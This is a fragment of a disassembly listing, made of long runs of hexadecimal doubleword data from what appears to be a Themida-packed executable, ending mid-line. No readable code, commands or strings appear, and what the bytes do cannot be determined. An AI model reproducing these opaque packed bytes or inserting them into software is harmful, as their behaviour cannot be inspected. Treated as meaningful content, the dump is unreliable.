4B2AED6Fh, 9F324D6Fh, 5603E9A8h, 0E9F28069h, 89231454h dd 8245C473h, 359D298h, 0BA6007D0h, 1C2EBA3Dh, 1179DC5Fh dd 0C799A427h, 25B7609Bh, 2FCE3288h, 0CFAE31A8h, 0D2E661D3h dd 142B461h, 6A33F906h, 3Eh, 0E862D8ADh, 0E6AAD825h, 498A4F04h dd 0E66ECC73h, 0FEED4F04h, 0E644261Fh, 6FA04F04h, 0B6F838A2h dd 6AE557F4h, 2C0E775Eh, 884F04E6h, 7E211247h, 4E67301h dd 7F1ED14Fh, 0B1F8h, 6FD82F00h, 0F8D52AEDh, 0AF54E8F6h dd 285FC173h, 0ADDA9AD4h, 2F4B0479h, 7FF129ECh, 927FF4C4h dd 0D3839FC6h, 5B7BF9C6h, 36F954E9h, 0B631B9C5h, 833AB1DDh dd 0D651061Ch, 5BDA5D82h, 3A8054E9h, 0A017F6h, 4AF9D34Ch dd 4A037619h, 0D73805C8h, 1F5AD4DDh, 66C58CDCh, 14DD1B19h dd 394DC94Fh, 0E0B943F3h, 67E935E6h, 70E723ECh, 0AFE01BD0h dd 5B9E82E8h, 4FF61024h, 0F5716F03h, 0A471BCF6h, 2D755434h dd 0A99A2EA9h, 0C39B99E6h, 0D6194F14h, 0B51517Dh, 0C3D95BA4h dd 985B4F14h, 0C46AC835h, 9CA4F14h, 0B230ED4Ch, 472D92D3h dd 86495500h, 6FD85607h, 0F4D52AEDh, 7054F068h, 581F2DBFh dd 0FFCD4608h, 173D0A44h, 841F47A3h, 61D64C53h, 97F3D2E6h dd 0DE15A722h, 4AC10C75h dd 0FB7D5F41h, 3566E169h, 58D385A7h, 0ED157500h, 8BF7D125h dd 6B6AED6Ah, 23A838BFh, 0C72310A8h, 13C09817h, 0FE708ADEh dd 0CD977745h, 34B724C5h, 4BC28991h, 3B071h, 6E70000h dd 4DC47751h, 0EF6EED7Fh, 0E894FDDh, 0B32CA0BAh, 0D7520319h dd 7BF66785h, 9E19DB61h, 3EB930CAh, 5FD890AAh, 8951B30Dh dd 4C181E1h, 83000000h, 0C8704E9h, 24248B24h, 298A68h dd 241C8900h, 4EC81h, 14890000h, 5BC46824h, 14890000h dd 82AABA24h, 0D38905EBh, 4838685Ah, 24890000h, 24048124h dd 4, 0B850515Ah, 66D4629Dh, 0D46295B9h, 58C13166h, 1989D101h dd 2434FF59h, 4C4835Ah, 5B2434FFh, 0E904C483h, 0FFF8F5E6h dd 699AFA68h, 11B98074h, 0C84370Fh, 0EB8775B8h, 0FFC50305h dd 0A3826FE0h, 0D3735514h, 0A7B0A85Dh, 9CB1807Eh, 0ADD46D5Ch dd 408CEC57h, 6E97EA58h, 0A3B8C36h, 61DF8228h, 7F3B4434h dd 0DAD35674h, 881E656Bh, 4B7FF2Ch, 128D8D59h, 6A05EB89h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0BF40C353h, 800A2AA8h, 8B66F37Fh, 958D89F8h dd 6A05E410h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 6DB5C350h, 2C6585C7h, 63C005E4h dd 0DB810000h, 2ED0EC81h, 30FD85C7h, 5E4h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 5A0556C3h, 8061B3D2h, 1EE99523h, 0B5FF05E4h, 5E425F5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 88C35141h dd 275CEA81h, 95FF7DBFh, 5E42A61h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0ECC35646h, 0BD8B0533h, 5E410E9h dd 95FF006Ah, 5E410C1h, 28EBC08Bh, 0C807185Ah, 894D8B8Eh dd 736DD12Ah, 2445480Dh, 9E241E3Fh, 35C364B1h, 0E0089377h dd 8D2708E0h, 0ADA1CF05h, 30454CDCh, 8A0C8D8Dh, 9D8B05EBh dd 5E41FE5h, 10958D89h, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 85C734C3h, 5E42C65h dd 5E88h, 2631BD89h, 85C705E4h, 5E430FDh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0A2C35040h dd 78121731h, 0F353D732h, 9CBB66E9h, 5E980h, 31D20000h dd 0FF84DDA7h, 0E4005DB5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 9CEDD909h dd 0CC519D65h, 7820F7Ah, 0F000000h, 18Ah, 160F800h, 0E429EDB5h dd 6F18105h, 610A8B05h, 2A6195FFh, 6A05E4h, 10C195FFh dd 0C08B05E4h, 0DD956AEBh, 7DCE7Ah, 0F55A66D9h, 0A6451232h dd 6198F245h, 0C2E6C3BFh, 550F28Dh, 61BE4094h, 560D69A5h dd 432DF07Ch, 69306B5Fh, 8718DAE2h, 73CAE9B6h, 57A2A5E0h dd 0B031C5B5h, 0C8F97E21h, 753C6240h, 46543C33h, 17AC41D3h dd 6F08B8E7h, 5BA70F01h, 12ED9FC6h, 781D0D66h, 8E266AA7h dd 92AA9399h, 0B8E1995Ch, 4707EDF2h, 8B328D8Dh, 0B05605EBh dd 8D895E26h, 5E41095h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0D0C35343h, 9DBB95FCh, 0C7370657h, 0E42C6585h dd 6E8005h, 0C3BF0F00h, 30FD85C7h, 5E4h, 6A0000h, 3E856h dd 5E200000h dword_5B7298 dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0EE6F0FC3h ; DATA XREF: Themida_:005510E2o dd 0ADA3482Bh, 0BDA77B6h, 0E4265185h, 0EDB5FF05h, 6A05E431h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0E055C356h, 0D1ADD477h, 0E5852957h, 5805E422h dd 2A6195FFh, 0D28105E4h, 58809054h, 95FF006Ah, 5E410C1h dd 2CEBC08Bh, 0EA7A7137h, 0EAB57AEAh, 0E7FB9CBBh, 0E1A35C5Ch dd 0EC076C22h, 0E60A8844h, 55EE31FBh, 69447BA1h, 0E767C34Eh dd 563DF788h, 1622732Ch, 11E8h, 582CB500h, 0FBE770h, 0F87BC5F7h dd 5B91AB57h, 0F28B5098h, 11E858h, 0E5CD0000h, 93221E95h dd 966BB505h, 0E580F0F9h, 8BE6052Ah, 0E4119D95h, 0C0815E05h dd 6F3Dh, 0FE9h, 0F7CAB500h, 0FD7E3D0Fh, 64333D02h, 0E99F6235h dd 6BD14BBh, 8FF38145h, 234506A6h, 0E41FD1B5h, 8930FF05h dd 0E41F2D8Dh, 10E95905h, 36000000h, 0A7153756h, 1D64B21h dd 9EC951B0h, 812497DCh, 0D5BE80F1h, 0D99D2917h, 8105E41Fh dd 0B3DB62C1h, 51BD8B2Eh, 8105E424h, 31E3FCF1h, 8F516Ch dd 20E58D89h, 0E88105E4h, 751273D3h, 7E8h, 5EADFB00h, 0CCA0DC21h dd 68A0Fh, 958B0000h, 5E42621h, 0CFC0815Ah, 66751273h dd 0F4BF08Bh, 0FFFF8C85h, 0F78166FFh, 0C08BED0Dh, 178h dup(0) dd 13E860h, 69950000h, 8249BC1Dh, 0E1C8505Fh, 3FB1DB59h dd 0E7BBF3C5h, 585B519Ch, 9E8h, 0F9C06300h, 5A69986Ah dd 616051AEh, 9E9615Ah, 19000000h, 0A616DC8Fh, 0B2FBA950h dd 14E9h, 146E4C00h, 20829081h, 87471E20h, 0D9C54D0Fh dd 0A357C31h, 66609D01h, 613FBFBFh, 9E961h, 276B0000h dd 14BB2276h, 5DE6029Ch, 128A0Fh, 0DE90000h, 0E4000000h dd 0BD03D24Ah, 33562A1Ch, 5EE37C57h, 8244401h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0ACC35646h, 946DF881h dd 0F6058A8h, 282h, 66D78A00h, 9D61CE8Bh, 55006AC3h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0F99A6AF3h, 0F32CD6ECh, 6AF970h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0D68B99C3h dd 66605941h, 86B9F88Bh, 6172BA37h, 0D98BC08Bh, 0AA15DE81h dd 8DBA3EC4h, 806741FDh, 8C0F0FC8h, 6, 8BF28B60h, 0BB6061F7h dd 3771A4F0h, 0C54E081h, 666110C1h, 6E9CB8Bh, 0A9000000h dd 67B89C8Ah, 0F6815302h, 69B65727h, 0CE95Ah, 0A9E00000h dd 6768B3ABh, 6A53C32h, 8B6611FBh, 60FA8BC8h, 854BBF66h dd 4A6CBF66h, 68A0F61h, 81000000h, 85C241D3h, 7840F47h dd 0F000000h, 189h, 0AE9F800h, 32000000h, 5B8161C2h, 67EB8EE8h dd 81C1801Fh, 0F84ED80h, 11E9C2B7h, 5000000h, 0E0BEB1F8h dd 4FC7C806h, 7921C525h, 976B14A8h, 53DF8166h, 0D8BF0FB5h dd 0C88BF38Bh, 118F0Fh, 0CE90000h, 0E9000000h, 2AFC8F39h dd 0BA1DC736h, 8134EB65h, 9A1F6FF0h, 9E968h, 10050000h dd 519B21D7h, 66984902h, 4731E181h, 0BA6650F5h, 0F5998EEh dd 0C68ADEBFh, 0FC0B70Fh, 781h, 1870F00h, 0F9000000h, 51006ABAh dd 0B038BF15h, 0E960302Eh, 11h, 1E74CF12h, 186DF473h, 6D252770h dd 0ED84467Fh, 0E961F559h, 10h, 1F0601D4h, 76AB46DCh, 4DD9A98Eh dd 0A5A5F55Fh, 0F8FCD78Bh, 84E6BB66h, 0FFB70FFCh, 0B0E68166h dd 60EDB614h, 6E9h, 0E9C43100h, 0F5D9E98h, 184h, 6661FC00h dd 800FF88Bh, 0 dd 17890Fh, 12E90000h, 8A000000h, 0E5DCD468h, 49FB9E8Eh dd 168276C7h, 832FA93Ch, 870F5639h, 5, 0F62EABBEh, 0B70F5B17h dd 6660F5F2h, 0F561DE8Bh, 8B66F9B3h, 8E8CAh, 74900000h dd 0CC330579h, 8166EEBCh, 5FC014CEh, 0E9F98B66h, 7, 0BF225239h dd 0F9A245Ah, 68Dh, 23F38100h, 6610B1C6h, 0B7AE2ABBh, 0FEB70F05h dd 12E8h, 79D3FE00h, 0A4D91E5Ah, 0FE8E0542h, 1311551Eh dd 0E98669ACh, 9, 115BB830h, 11242739h, 0D68B5B4Ch, 0BCBE6660h dd 6124B4C9h, 5AD18B50h, 0FE5E880h, 13BBFBB7h, 6670A131h dd 0A08BDE81h, 3181E781h, 1DB848D3h, 56241DACh, 6160FC60h dd 0F565861h, 0E85EDEBFh, 0Bh, 0ACBC2AA2h, 4E436640h, 666E66B5h dd 5AFCE1B9h, 5CC98166h, 8166F8ABh, 0F7DB7D8h, 8Ah, 0C0815200h dd 218080CCh, 3BBF665Eh, 24EA81FFh, 0F441AA8h, 8153C7B7h dd 0AD62F5C9h, 37BB5F37h, 8020372Bh, 8E9DAE0h, 0E2000000h dd 0CD1C2EACh, 809A23B5h, 7E990C1h, 12000000h, 4EDE12B5h dd 0C281176Ah, 4551E24Ch, 8E9h, 9EBE2700h, 8C212EABh, 1890F03h dd 0F8000000h, 3FD381F9h, 0B33FA513h, 0C981665Dh, 8AFC0D82h dd 0CE8166D9h, 820F0731h, 3, 0FF18B66h, 0DF8BF7B7h, 2890Fh dd 0D08B0000h, 0B39DCB80h, 5E23BE5Bh, 8F0F4468h, 6, 0EA71E281h dd 800F31B6h, 3, 51FAB70Fh, 7E960h, 0D8E0000h, 0B23363B5h dd 5259617Eh, 28F0Fh, 5B520000h, 0FFE8B5Fh, 0BF0FF0B7h dd 0FCFA8BD1h, 0A11FBA66h, 0DE8h, 0D4EC7700h, 0B5D8FE40h dd 0BBBFC940h, 0E781E4D3h, 442AE002h, 0B840F59h, 0F000000h dd 58Bh, 0A9D7BA00h, 66F946F8h, 0C8ECD081h, 6E9h, 3FB31000h dd 521276D7h, 0EE9h, 5E407400h, 0F1E4351Eh, 0A0EA385Bh dd 5EF58E0Ah, 66F78B66h, 0E94153BBh, 10h, 9C9654CCh, 0D554A104h dd 2647C710h, 62F4B281h, 11E9h, 7E7C6400h, 0D5C7BE2Eh dd 0A560DCE1h, 0B288822h, 8C0F7106h, 3, 0E9C7BF0Fh, 0Ah dd 2B49C7A2h, 500A5ACDh, 0F60570Dh, 38Ah, 0D38B6600h, 4E5407B9h dd 0AE96110h, 0D2000000h, 22CA5ED4h, 0CAA66087h, 0D7F8B91Ah dd 890F6A80h, 4, 4850BF66h, 816642B4h, 0B85198DEh, 469F87E2h dd 0F18039B0h, 9870F7Ah, 0F000000h, 389h, 8CE68000h, 4486BB9h dd 8118B263h, 5BC5DCD7h, 890F6060h, 0 dd 10E961F9h, 0B8000000h, 3FB2DABCh, 0F28A5F9Ch, 0A605EA97h dd 0BE6C5B85h, 6525337Ah, 10E8h, 0B2637E00h, 0C97F564Eh dd 0F13752CCh, 0F81E2B24h, 0ABBE66E0h, 0BA665E9Eh, 8A0FE096h dd 13h, 0EE9h, 0DF5E2300h, 593CA6AAh, 0AD2D2228h, 0B882CF10h dd 5E418ECBh, 0C145E5BAh, 0DE824h, 2A3E0000h, 0F966C6C0h dd 384B03A0h, 0F26CAFAh, 108Eh, 0AE800h, 0C1E30000h, 6F2B636Dh dd 0EAB4530Ah, 8E0F5B5Bh, 2, 8B0F55B5h, 1, 4860FFCh, 66000000h dd 660872BAh, 0E9A684BAh, 5, 0F0DF04A2h, 0BF0F5076h, 816658C0h dd 8182A0EAh, 77026CC7h, 41EA8125h, 0F5321EAh, 488h, 10BA6600h dd 0E9FA8B1Eh, 7, 0BB987C3Eh, 576541EAh, 5BFFBF0Fh, 66CFB70Fh dd 12E9F98Bh, 0BA000000h, 8FD57D95h, 0A6D3BD58h, 987BA58Bh dd 3ED2A770h, 0E081664Ch, 14E95161h, 0E9000000h, 0B6BBF471h dd 0EFD92B85h, 88017E79h, 0FFB19B41h, 0E94A4C8Bh, 0Ch dd 0A8CDE1F4h, 0F1C0AB28h, 0F35CBFFh, 66D08B66h, 0F8962B8h dd 387h, 0A9CD8000h, 8A00D580h, 11E9FEh, 40CB0000h, 91721D8Fh dd 23E1B23Ch, 50801526h, 5682D2E3h, 810F605Ah, 0 dd 3800Fh, 0F1800000h, 0DA8B6178h, 0E7B7CF81h, 890F09BAh dd 2, 8E9EC8Ah, 0C0000000h, 5312039h, 6695C1BBh, 0E9FEE0BAh dd 13h, 3807483Fh, 7EF733F6h, 0BDABE3F7h, 46A9D34h, 0FCC49FE7h dd 1800Fh, 66F90000h, 0FCA0FABAh, 220F2EB8h, 820F1Fh, 66000000h dd 0E950B1B8h, 12h, 0AB680778h, 9B221680h, 98E17958h, 1BEC0C26h dd 8166FA4Ch, 66D46EC2h, 0B5A65DBEh, 5E908h, 0FFAE0000h dd 0E979FBEEh, 10h, 0A50C35B6h, 967F3D16h, 0F1E93F65h dd 41C449A6h, 0D981D68Bh, 2E4399CAh, 5E9h, 26801B00h, 0F56051A4h dd 0D5C7BA66h, 0B70F5161h, 0F535BDFh, 58Fh, 0D7816600h dd 0E95A99A0h, 12h, 65B79F10h, 105F4246h, 0C0504761h, 65929D6Ch dd 60508573h, 0EE85B53h, 0E1000000h, 0DB3E9B78h, 0B839E81Ch dd 0E11BAF9Ah, 5B615B2Ah, 0E280F28Bh, 0E9D78BC6h, 9, 0B8881287h dd 2C4FF843h, 10E91Ah, 281C0000h, 830D440Fh, 0CECF0C57h dd 0E4B3E738h, 8E98E67h, 0AD000000h, 0EE38CF26h, 534F5B9Eh dd 605FC68Ah, 0B8FB8B60h, 520B4651h, 81666161h, 8184C6D1h dd 183363C1h, 7CB9665Ch, 0BE9C5h, 0CFE60000h, 0E68ABBF8h dd 0DAB4037Bh, 5E93Ah, 88240000h, 0E9B6C16Ah, 13h, 93122829h dd 8A2871F5h, 2B8076D5h, 7DACA70Ah, 81E2DF26h, 38BA1FD2h dd 0B3D08B22h, 0DE90Dh, 91380000h, 0CB41D8AAh, 9EE28507h dd 808660A7h, 0BF0F79E6h, 475BBADBh, 0E8563676h, 0Ah, 7AFCBFF4h dd 177C4BD7h, 6E96DB7h, 7A000000h, 6CC78F8Ah, 535A5F3Ah dd 58DF8B66h, 6A7851B8h, 0F78B6664h, 0BF0FC88Ah, 0E0BF66F0h dd 13E942h, 18530000h, 2A8C72A6h, 0DD695566h, 0E8B6F4E6h dd 3CEA843h, 0E3DF81D9h, 803C4DA5h, 0B9F83EE1h, 1BC4C0Dh dd 0C28AFC60h, 66C38B61h, 8BEA1CBBh, 8A0F53D3h, 5, 4E68166h dd 10E95E84h, 37000000h, 78A57660h, 473E6F9Fh, 0AAD27B67h dd 0F53F409Bh, 85C9CE81h, 0B9FC0878h, 1F4449DEh, 168B0Fh dd 11E90000h, 8D000000h, 0EAC323ACh, 62DC519h, 0BC65D5B3h dd 6564A3F1h, 66F78B66h, 0BF0FCA8Bh, 0D88B66F2h, 20D28166h dd 0F1B70F88h, 30E48052h, 0C9BF0F5Bh, 46BDC381h, 0C8804660h dd 0D7816626h, 60574F05h, 0E9C1B70Fh, 9, 559BA5EBh, 0CB896C4Ch dd 8159614Fh, 1E0C50E1h, 7E95043h, 89000000h, 0AD2567A1h dd 665ACB58h, 60663EBAh, 0FC38B66h, 684h, 800F00h, 61000000h dd 0A980C681h, 0E8F52C25h, 12h, 0C6AD516h, 6911EB70h, 0DC9B26F1h dd 46AF8FE2h, 605F6C34h, 58B0Fh, 81660000h, 8156B6F0h dd 33E074D3h, 81666138h, 0E86DB5E2h, 0Fh, 3BB5D503h, 0C3B4CA60h dd 14893FC5h, 662D6B5Ah, 6658F18Bh, 0F9AFADBFh, 38C98166h dd 0D459B968h, 860F2E29h, 1, 12E8FCh, 6E3C0000h, 0B0F3ECC4h dd 25875D13h, 0ACF9DA0Dh, 4662B2EFh, 0D18B665Fh, 3890Fh dd 0D3800000h, 19B866E1h, 0F515036h, 8Fh, 0F595B00h, 0E0BEDEBFh dd 6003362Fh, 38F0Fh, 8B660000h, 0EE9C1h, 0CC090000h, 8AA3AF12h dd 0E4AC205Eh, 3C8F790Eh, 0DFB86661h, 0C1B70F3Eh, 9E951h dd 3E680000h, 6DFD6B8Ah, 5975B587h, 2EE08166h, 158C0FBCh dd 0E9000000h, 10h, 6E7EBC3Ch, 8FC45F56h, 1B8ED8D1h, 507625B6h dd 6E9h, 0D20BF400h, 0FF7221Ah, 58Ah, 0EB816600h, 5E8A0A4h dd 0ED000000h, 6492C2DDh, 8A5FF38Bh, 0D4B866D1h, 80C28BA5h dd 8E856F2h, 9D000000h, 0DB48D3DFh, 0B0C0E5B6h, 0DE9589Ch dd 80000000h, 7715870Dh, 4A1EEDF3h, 0BFE176D4h, 13E8h dd 326300h, 0BCB5DC44h, 5528D221h, 0B7AEE87Bh, 0DEFE4EAAh dd 815EF98Bh, 8EAA62EAh, 8B66603Eh, 61DE8BF3h, 4464BB66h dd 8C0FCE8Bh, 0 dd 0E8D3B70Fh, 0Eh, 0C05297EAh, 9ACB9E5Eh, 0C8FC970h, 0B70FD7E7h dd 8B6059F9h, 2FCD80FEh, 66F3B161h, 0C78D781h, 8A0F44B3h dd 16h, 11E9h, 2EF3C00h, 129E9C7h, 0A1FAA901h, 0B4BFFCF2h dd 0DE8B2026h, 52A6C781h, 0B96632B2h, 0CF8BE2A5h, 18A0F56h dd 0F9000000h, 6E85Bh, 448F0000h, 99FCB48Dh, 8B58D78Bh dd 28F0FC2h, 8A000000h, 108C0FE1h, 0E9000000h, 0Bh, 78F001h dd 9B80864Ah, 50D7AAE6h, 0ED1DF181h, 0E85B78B2h, 10h, 0B4833C90h dd 83480B5Ah, 28469B20h, 77F4AD09h, 0C3B70F5Bh, 66601BB7h dd 0F1A48BBh, 38Fh, 0C6B70F00h, 7E961h, 7BAA0000h, 0B011A037h dd 0F506041h, 87h, 0B8615B00h, 2CCD003Fh, 9E960h, 7E2A0000h dd 0A18719CCh, 576CD7F5h, 8A0Fh, 615A0000h, 3840Fh, 0BF0F0000h dd 0ECE3B8FAh, 0BE664130h, 0C78B0069h, 8E8h, 0CEAB7E00h dd 620A9C9Ch, 81605A6Eh, 5DA1AACBh, 2870F71h, 53000000h dd 0F9B7615Bh, 0AE8h, 0CAD9100h, 0B7A0AD3Dh, 0F1C437Ch dd 387h, 0DBD58000h, 0DE959h, 0A6C40000h, 919CD966h, 6FBB3B26h dd 0FF5CC9Ah, 587h, 0ED09BB00h, 8D0F5364h, 0Ch, 870F60h dd 66000000h, 617E1EBFh, 8E9h, 0CC146B00h, 18F77DAFh, 10E83Ah dd 0EA330000h, 0E17C1DA9h, 0F3F5A5C5h, 4670AEBh, 870F0C82h dd 3, 5BC78B66h, 0F144F5B8h, 27800F03h, 0E8000000h, 12h dd 0E3FA831Ah, 0F19EE43Ch, 5C4EB8CDh, 0F3695375h, 0AE9709Fh dd 73000000h, 3098685h, 0BC13E182h, 0E8605F67h, 0Dh, 0B4BE1DA3h dd 158895D7h, 2B6FF232h, 8E8BBh, 0DB870000h, 0CED4C2D7h dd 5E5B4AB7h, 2850Fh, 61600000h, 0DE961h, 0D9B90000h, 40C783FDh dd 5B8E18ABh, 520FDB1Fh, 0B1DDEF81h, 0F5A6912h, 783h, 73BB5600h dd 5B6BEC45h, 0FE8F98Ah, 0E7000000h, 7B7A9895h, 6BEEAF67h dd 58BF30F1h, 0EB81CF0Dh, 62D656DFh, 800F5Eh, 0F000000h dd 0BF0FF6BFh, 0D9B0F5D6h, 1E8610BAh, 6E913h, 72170000h dd 4B45593h, 80C2B70Fh, 0EF81D3C1h, 56D6927Ah, 0F889F781h dd 8D0F7C49h, 0Ah, 5E9h, 0BA034100h, 8A60B98Bh, 13E9D5h dd 47380000h, 9767F3B1h, 663AE209h, 227E28A5h, 0F1116333h dd 8B0F61FEh, 11h, 0BE8h, 8B948600h, 0C31E0403h, 5500A9B7h dd 21B9665Fh, 3DBF66F8h, 0C88B6663h, 66D8BF0Fh, 816BFBBBh dd 968110E0h, 0DBB70F39h, 0BF666060h, 8061CA74h, 0E96126DDh dd 11h, 0BB7F7805h, 5A9CCC93h, 962ADCE3h, 1611AE1Ah, 6653B081h dd 0B2866FB8h, 0F574B2C2h, 66B6EB80h, 0B966D18Bh, 0FF9DE01h dd 389h, 0F08B6600h, 0F06CF80h, 180h, 10E8F500h, 0D000000h dd 29596F10h, 0B3192051h, 0B6ECD9D6h, 0F5007F0h, 0F59D8BFh dd 180h, 8B66FC00h, 8B66F9C3h, 12E9DEh, 4E60000h, 0F74CE53h dd 4D4E0BD0h, 8112B68Eh, 0D2CF60E6h, 0F8CF180h, 0FE8D8B7h dd 0BD000000h, 5A3C799Dh, 0AE7FC503h, 541C07DCh, 820F9DE6h dd 17h, 11E8h, 5FB17B00h, 0EAC6ECC9h, 5984722Eh, 85F4CBE0h dd 5A58A1B1h, 38F0Fh, 8B660000h, 2FF3BFFAh, 0AE974C4h dd 0FD000000h, 4F628587h, 0C06C3596h, 6664B4E8h, 0E24F081h dd 0E914B260h, 10h, 8287E4D3h, 6D3AB33Dh, 78A66ECEh, 0ABDE39E6h dd 3463B961h, 0A2B13DD1h, 805BF850h, 8F0F71C6h, 12h, 0BE957h dd 0ED890000h, 0A9FC644Ch, 338349EFh, 0D88B5952h, 0E8816653h dd 0BA58EE36h, 0BE0AE6Ah, 66F2BF0Fh, 0E926EABBh, 0Dh, 7B4077ECh dd 0D9A7FDD5h, 7ADB0CA3h, 66C6B65Ch, 0E99959BFh, 12h, 0AAF77F64h dd 7788670Eh, 0FE40D4ECh, 0C940B5D8h, 8166BBBFh, 50628BCBh dd 4222B7B9h, 1DBB5E45h, 667785F7h, 8B0F2BBAh, 0E96056D9h dd 0Ch, 0A05AC353h, 0DC86DEDAh, 91A8CCFFh, 820F5B61h, 9 dd 66616060h, 6DAC281h, 0C4B7BE61h, 0E95265C0h, 13h, 564C3747h dd 653B587Dh, 42EFFC42h, 952D5A2Eh, 5A8C7396h, 0F18B66F9h dd 24BBB866h, 5B5623B6h, 5E8h, 0F4E52200h, 13E9818Fh, 0C2000000h dd 0A4880E05h, 0DE3D2F03h, 7A5DAC87h, 93718E4Eh, 0FC59EA42h dd 8166F58Ah, 6076FFF1h, 2527AFBAh, 5830F62h, 66000000h dd 80F9C681h, 880F6061h, 2, 840FA2B4h, 6, 810Fh, 0E8610000h dd 13h, 25F5DFAFh, 35EFC573h, 0DC0ABEFBh, 58443C43h, 6670BFD8h dd 5EC0A3B9h, 870Fh, 0DB810000h, 5821CD0Dh, 0AE9h, 0E51BF300h dd 674B2013h, 665A09BFh, 0E6FBC281h, 0F21C280h, 8B66CAB7h dd 11E8D6h, 0EC780000h, 0A19DF547h, 0F49B7EB3h, 50146F55h dd 57735357h, 595A6160h, 0D78B2CB6h, 0CF8B66F8h, 4728B866h dd 13E9h, 0A3811900h, 5736BAB4h, 593499E9h, 0AC1D99B0h dd 6FB4F653h, 5E8h, 93245900h, 81594B87h, 80E362C0h, 0BF66572Dh dd 0E9588F9Bh, 0Ah, 1E2A74EBh, 45137829h, 6E9719Dh, 0E4000000h dd 2DA9DA9Dh, 0D3816622h, 8E93EEFh, 0FA000000h, 0ACF63B33h dd 661ABFE2h, 8B0FD38Bh, 1Ch, 12E8h, 0F164AF00h, 9E5E9DBh dd 4F58A120h, 0A181270Ch, 669791EFh, 595B4EBEh, 8BD18B60h dd 0CE961FBh, 22000000h, 3702FFF2h, 268AFB21h, 5760A5AEh dd 0BE9h, 4FDD0800h, 1ED4123Bh, 25BC19D3h, 14E85Eh, 81100000h dd 0B9E6F874h, 87FB7C8Fh, 3E622A3h, 93E2B8F1h, 0BA66CFC5h dd 665F1E20h, 0BE7618BBh, 0CA98F8Eh, 12E9h, 62F2600h, 6CF6FBADh dd 72B8617Bh, 85CDEC3Eh, 0F0D8A70h, 584h, 3B80BE00h, 8A0F7DA1h dd 3, 815EF557h, 4B9073DBh, 0AE936h, 0D88F0000h, 2F78D56Ch dd 3ABFC218h, 0B8B0Fh, 810F0000h, 5, 7BF28166h, 0E940B415h dd 14h, 40D7F907h, 0E43A69Bh, 8C6892DEh, 0E41C77B8h, 6D84C67Eh dd 57CF8B66h, 6E8h, 8DF97D00h, 0BA177E17h, 14EFA335h, 0DD805958h dd 66C6BF5Fh, 8B665C4Bh, 0F28B66C7h, 0F6E88166h, 0CE9CBh dd 0B4EC0000h, 668F43DDh, 80E576A0h, 0B966D580h, 0BE9113Ch dd 20000000h, 2AD55634h, 0F7A0ED95h, 0C5808665h, 0F60F8A9h dd 380h, 0C38B6600h, 0CE9h, 653F9100h, 5AE2E95Eh, 0AE8DC6E9h dd 0CA8B6182h, 0FD0DB80h, 820FD0B7h, 5, 5399A8BEh, 14E960h dd 6B5D0000h, 0F210FABEh, 5E625AF5h, 8459488h, 9F21B312h dd 10E95A9Eh, 0A1000000h, 0B337D431h, 8B697B34h, 0D86B2786h dd 0F5E8F518h, 0BFCE8B60h, 2EAAA527h, 0EE961h, 41200000h dd 0CD99C0C3h, 42A979D0h, 0A293D198h, 38A0Fh, 8B660000h dd 13B966C7h, 7E890h, 1AFE0000h, 8938D086h, 6658F86Fh dd 0E8E88EBBh, 0Eh, 3792C7B5h, 3870C3B1h, 20B10229h, 12E8F1B9h dd 1E000000h, 0A5D3C0Ah, 0CD1DBB9h, 7F4C0E01h, 8F25392Fh dd 5E5FFC28h, 0C38BF98Bh, 7138EB81h, 0BA6639A9h, 66607422h dd 0C9E7D881h, 9E8h, 2A15F000h, 0DCAF4555h, 616060B6h dd 8166615Bh, 0F2A1AC3h, 1980h, 14E900h, 0B4460000h, 62056E3Fh dd 1C4D44CFh, 0DA477B9Ah, 9D5E314Bh, 11E9125Ch, 1A000000h dd 1F9B372Ch, 7796711Bh dd 2378D93Ah, 42D63EFh, 0CE8h, 0B8496200h, 0CAB6B60Ah dd 0B7D8200Ah, 0B8666024h, 0D78B1455h, 810F5E61h, 2, 0B70FF58Ah dd 63BA66C3h, 0A1BA660Bh, 0C0BF0F05h, 1CD38166h, 4FBE66BFh dd 0B70F608Ah, 0FE8D8h, 547C0000h, 877FB406h, 4C2F0C37h dd 0C6687C2Eh, 0DE95Eh, 6A2A0000h, 0B13023EBh, 2ECB2266h dd 5B4FEA81h, 0BE9FC61h, 0C8000000h, 27B70147h, 76FEB642h dd 5EB64C9Bh, 0ADE78166h, 9FF1813Fh, 60677703h, 14E9h dd 0AE0F9200h, 56411DECh, 11825318h, 3ECFFC22h, 0C74B40A7h dd 0B261FCD8h, 61F560F7h, 0DE9h, 230FE00h, 0CA3677B2h dd 339D7F8Ah, 0E8F813C4h, 0Ah, 0BC9ABF62h, 713CFEBCh, 0FE96C71h dd 61000000h, 0C6FA3C99h, 1D12BA58h, 8C0A0E17h, 0F5BB8A2h dd 58Fh, 8B666000h, 12E961F0h, 24000000h, 85D0A927h, 59051F45h dd 310C6187h, 0B4410B59h, 5860FD0h, 66000000h, 0D2EBD181h dd 8E85151h, 0E5000000h, 61F1EA4Bh, 58B67856h, 0BE665E5Bh dd 0B70FAB18h, 0BE8F0h, 0E7790000h, 55BC293Ah, 0E7E20447h dd 59F28BDDh, 850FD08Bh, 5, 0D78B6656h, 0FC78B5Eh, 8B66DABFh dd 0BE9FEh, 5F6F0000h, 706EF0E7h, 372EA93Dh, 0AE85Dh, 28180000h dd 98B23D7Bh, 0DF385621h, 0B8C0Fh, 6E90000h, 0E1000000h dd 1FB95670h, 0B0BA5969h, 666D8810h, 1624C381h, 0F9BF0F60h dd 0F9BF0F50h, 830F615Ah, 2, 0D9810DB0h, 505D0923h, 80D98B66h dd 0D88A1FECh, 8AC28B66h, 